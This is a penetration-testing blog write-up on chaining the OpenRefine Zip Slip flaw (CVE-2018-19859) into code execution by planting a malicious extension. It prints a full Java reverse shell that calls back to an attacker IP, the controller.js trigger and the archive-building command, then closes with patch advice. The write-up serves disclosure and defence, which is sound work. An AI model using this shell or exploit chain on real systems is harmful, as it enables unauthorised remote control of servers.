Skip to main content

Zip Slip to Reverse Shell in OpenRefine

Weaponizing CVE-2018-19859

Summary

On a recent internal penetration test, White Oak Security discovered an outdated version of OpenRefine which is vulnerable to an unauthenticated Zip Slip attack. The vulnerability was first reported on November 20, 2018 on GitHub.

White Oak Security leveraged the Zip Slip vulnerability to upload a pre-compiled malicious OpenRefine extension containing a reverse shell, which was activated after the OpenRefine application is restarted.  The full proof of concept with the extension can be found on White Oak Security’s GitHub.

Vulnerability

Zip Slip is a potential vulnerability within web applications where a library used to perform archive extraction does not adequately sanitize archive filenames. If a malicious archive is created with a directory traversal filename, using characters such as “../”, a vulnerable library will extract files outside of the target directory where they should reside.

The impact of a Zip Slip vulnerability would allow an attacker to create or overwrite existing files on the filesystem. In the context of a web application, a web shell could be placed within the application directory to achieve code execution.

The reported GitHub issue does not describe a valid path to remote code execution, only the directory traversal which creates a file in the /tmp/ directory on linux.

OpenRefine Limitations

It is important to note that the OpenRefine application extracts zip archives to a temporary directory on the filesystem. By default, this location is /tmp/ on Linux and %currentuser%\AppData\Local\Temp on Windows. The temporary directory can be changed via the web.xml file within OpenRefine.

Additionally, OpenRefine uses the web server Jetty to serve requests. By default, Jetty does not process arbitrary JavaServer Pages (JSP) files within the webroot unless specified by the web.xml configuration file. The OpenRefine software did not implement any additional handlers to process JSP files according to the web.xml of OpenRefine. From an attacker’s point of view, a slightly more in-depth path to RCE must be achieved as they are unable to drop a simple JSP command shell into the webroot via the Zip Slip.

Proof of Concept

OpenRefine has the ability for custom extensions to be created and deployed within the application. The extensions are written in Java and the application does not restrict which system libraries can be imported, such as the java.io library. This means that any standard Java code can be utilized within an extension.

OpenRefine does not require authentication by default for creating new projects from zip archives which allowed a remote attacker to exploit the original CVE-2018-19859 vulnerability.

White Oak Security created a malicious Java class which contained a simple reverse shell handler. When combined with the Zip Slip vulnerability, White Oak Security was able to achieve remote code execution against the underlying OpenRefine application server which allowed White Oak Security to gain a foothold on a network.

Note: During an internal penetration test, White Oak Security discovered a MicroStrategy Intelligence Server which deploys OpenRefine on Windows. The local proof of concept described below targets this deployment path.

Exploitation STeps

  1. Compile a malicious OpenRefine extension locally
  2. Zip the malicious extension using a ZipSlip generation tool to create an archive with directory traversal to drop the malicious extension in the OpenRefine extensions directory
  3. Perform the ZipSlip attack within OpenRefine via the Create Project functionality
  4. Restart the OpenRefine application server
  5. Request the deployed extension and achieve the arbitrary code execution

OpenRefine provides a sample extension which can be modified to create a new malicious extension.

A simple Java Reverse Shell class can be created within the \module\ directory.

package com.google.refine.whiteoakExtension;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.Thread;
import java.net.Socket;

public class ReverseShell {
	static public int shellyShell() throws Exception{
		String host="192.168.153.138";  	//Change Me
		int port=9999; 			//Change Me
		String cmd = "";
		System.out.println("OS: " + System.getProperty("os.name"));
		if (System.getProperty("os.name").toLowerCase().contains("windows"))
			cmd = "cmd.exe";
		else cmd = "/bin/sh";

		Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
		Socket s=new Socket(host,port);
		InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
		OutputStream po=p.getOutputStream(),so=s.getOutputStream();
		while(!s.isClosed()){
			while(pi.available()>0)so.write(pi.read());
			while(pe.available()>0)so.write(pe.read());
			while(si.available()>0)po.write(si.read());
			so.flush();
			po.flush();
			Thread.sleep(50);
			try {
				p.exitValue();break;
			}
			catch (Exception e){}
		};
		p.destroy();
		s.close();
		return 0;	
	}
}

The Reverse Shell is called via the extension’s controller.js. Controller.js handles the servlet processing, so once an HTTP GET request to the extension is created, the process() function is called and our reverse shell is activated.

/*
 * Reverse Shell when process() is called
 */
function process(path, request, response) {
  if (path == "/" || path == "") {
    var context = {};
    //call the shelly shell
    context.someInt = Packages.com.google.refine.whiteoakExtension.ReverseShell.shellyShell();

    send(request, response, "index.vt", context);
  }
}

Several additional extension configuration files are needed and the full proof of concept can be found on our White Oak Security GitHub repository.

Compile the extension using

“refine build”

Next, an archive must be created to zip the entire malicious extension directory with a filename tainted with directory traversal characters, which allows the Zip Slip vulnerability to be exploited. White Oak Security modified a standard Zip Slip archive generation script, “evilarc_whiteoak.py”, to include the ability to zip entire directories. This script is located on our GitHub page and may be useful for future Zip Slip attacks.

python evilarc_whiteoak.py -d 14 -p “Microstrategy/Intelligence Server/openrefine/webapp/extensions/” whiteoak/

Upload the generated malicious archive as described in the original CVE using the Create Project -> Web Addresses module within OpenRefine. This module will request the zip archive from an attacker-controlled webserver.

The application visually shows a successful extraction of the archive by revealing the contents of the zip archive in the various input fields associated with a new project.

Upon inspecting the OpenRefine webroot, the new extension has successfully been copied to the OpenRefine extensions directory due to the Zip Slip Directory Traversal vulnerability.

Next, restart the OpenRefine application. In a real-world scenario, a path to restart the application will have to be achieved by alterative means such as social engineering or leveraging other vulnerabilities to restart the underlying server.

Lastly, navigate to the deployed extension and observe the successful reverse shell execution.

Recommendations

Ensure OpenRefine is kept up to date with the latest version. The Zip Slip vulnerability was fixed in version 3.2-beta. To remediate Zip Slip vulnerabilities in web applications, ensure that filenames within archives have been validated to their canonical (absolute) path. If the path within the archive is outside of the target directory, the application should reject the archive from being processed.